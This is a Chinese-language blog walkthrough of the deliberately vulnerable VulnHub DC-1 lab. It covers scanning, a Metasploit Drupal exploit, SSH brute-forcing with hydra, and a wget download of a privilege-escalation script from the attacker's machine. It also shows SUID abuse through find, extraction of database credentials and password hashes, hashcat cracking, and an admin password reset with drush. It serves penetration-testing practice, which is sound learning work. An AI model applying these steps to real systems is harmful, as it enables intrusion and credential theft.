『VulnHub系列』DC: 1-Walkthrough

靶机地址
难度:初级
靶机发布日期:2019年2月28日

『VulnHub系列』DC: 1-Walkthrough_第1张图片
靶机描述:DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
metaspaloit
drush
hashcat
hydra

0x00、信息收集

靶机IP:192.168.0.119

netdiscover -r 192.168.0.0/24
nmap -PR 192.168.0.0/24

『VulnHub系列』DC: 1-Walkthrough_第2张图片
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.119

『VulnHub系列』DC: 1-Walkthrough_第3张图片
MSF搜索“drupal”,优先选择Rank为excellent模块

msfconsole
search drupal

『VulnHub系列』DC: 1-Walkthrough_第4张图片
这里试过了exploit/unix/webapp/drupal_coder_exec,没有成功

use exploit/unix/webapp/drupal_coder_exec
show options
setg rhosts 192.168.0.119 # setg 意为设置全局参数,可以用unsetg取消设置

关于更多MSF命令,可以参考MSF之命令笔记篇,当然也可以读官方的使用手册

『VulnHub系列』DC: 1-Walkthrough_第5张图片
getshell后的第一件事情是使用Python命令获取一个正常的tty,否则有些命令可能无法执行

python -c 'import pty; pty.spawn("/bin/bash")'

『VulnHub系列』DC: 1-Walkthrough_第6张图片

0x01、flag1

通常情况下都是先检查一下当前目录,ls -lath之后发现flag1.txt

『VulnHub系列』DC: 1-Walkthrough_第7张图片
有时候你在查看了一个文件之后,想清空一下屏幕,你可能会用clear命令,但是在我们得到的shell中你可能会遇到下图中的错误提示

『VulnHub系列』DC: 1-Walkthrough_第8张图片
这时候我们只需要设置一下环境变量就好了

export TERM=screen

查看/etc/passwd,得到flag4的位置

『VulnHub系列』DC: 1-Walkthrough_第9张图片

0x02、flag4

本以为www-data用户是没有权限读取flag4的,结果却是可以的

『VulnHub系列』DC: 1-Walkthrough_第10张图片

0x03、hydra爆破

nmap扫描的时候发现了ssh服务,前面我们又发现了flag4用户,所以尝试使用hydra进行密码的暴力猜解,随后得到用户名密码flag4/orange

『VulnHub系列』DC: 1-Walkthrough_第11张图片
随后使用得到的用户名和密码登录SSH

『VulnHub系列』DC: 1-Walkthrough_第12张图片

0x04、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

查找SUID权限可执行文件,发现了/usr/bin/find

find / -perm -u=s -type f 2>/dev/null

『VulnHub系列』DC: 1-Walkthrough_第13张图片
『VulnHub系列』DC: 1-Walkthrough_第14张图片
这个靶机一共5个flag,还有flag2和flag3没找到。本来想find查找一下的,结果没找到

在这里插入图片描述

0x05、flag2

Drupal 7支持三种数据库:MySQL与变体Maria DB, PostgreSQL和SQLite

所以我这里使用netstat查一下是否运行MySQL数据库

为什么有这个想法?纯属经验……

在这里插入图片描述

可以看到3306端口处于监听状态,一般运行的服务都是MySQL,且只允许本地访问。尝试使用root登录,但是需要密码

在这里插入图片描述

还记得flag1的内容吗?Every good CMS needs a config file - and so do you.

查看一下Drupal的配置文件

Google搜索之后发现它的配置文件在webroot目录(这个靶机是/var/www)下的/sites/all/modules/domain/settings.inc,结果访问的时候说没有这个文件

后面发现有个数据库配置文件/sites/default/settings.php

『VulnHub系列』DC: 1-Walkthrough_第15张图片
现在已经找到flag2了,而且也有了数据库的用户名和密码

0x06、flag3

使用dbuser/R0ck3t登录数据库

『VulnHub系列』DC: 1-Walkthrough_第16张图片
查询用户名密码

admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

『VulnHub系列』DC: 1-Walkthrough_第17张图片

使用hashcat爆破,Hash modes设置为7900,对应的参数就是-m,因为Drupal7对应的Hash modes为7900,可以通过hashcat --help查看

hashcat使用方法:Hashcat的使用手册总结

『VulnHub系列』DC: 1-Walkthrough_第18张图片
在这里插入图片描述

我是放在自己的Ubuntu上跑的,结果说什么不支持……,搜索了一下说是需要安装其他软件apt-get install ocl-icd-libopencl1 opencl-headers clinfo

『VulnHub系列』DC: 1-Walkthrough_第19张图片
装好之后重新跑了一下,嗯~我的本本配置还是有点差,跑的过程中截个图都是卡卡的……

『VulnHub系列』DC: 1-Walkthrough_第20张图片
因为CSDN给图片加水印的缘故,我不得不打开图片,然后重新截了图,可喜可贺的是我们得到了Fred的密码:MyPassword

『VulnHub系列』DC: 1-Walkthrough_第21张图片
使用Fred/MyPassword登录网站控制台,但是登录上去之后没有找到flag3,除了可以修改个人信息、添加文章之后没有其他的东西了

『VulnHub系列』DC: 1-Walkthrough_第22张图片
下面会使用到一个专门用于管理Drupal的shell接口,通过它我们可以修改任意用户的密码,毕竟我们现在有root权限。

之所以会想到这个方法是因为我之前接触过drush,仅此而已。drush使用可参考Drush的初学者指南:Drupal Shell

『VulnHub系列』DC: 1-Walkthrough_第23张图片
修改admin用户的密码,然后使用admin账户登录网站控制台

『VulnHub系列』DC: 1-Walkthrough_第24张图片

『VulnHub系列』DC: 1-Walkthrough_第25张图片
读取到flag3

『VulnHub系列』DC: 1-Walkthrough_第26张图片
其实这个flag3的内容就提示了提权的思路,PERMS和FIND就是find -perm -u=s

OK,至此5个flag都得到了。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

『VulnHub系列』DC: 1-Walkthrough_第27张图片

你可能感兴趣的:(VulnHub)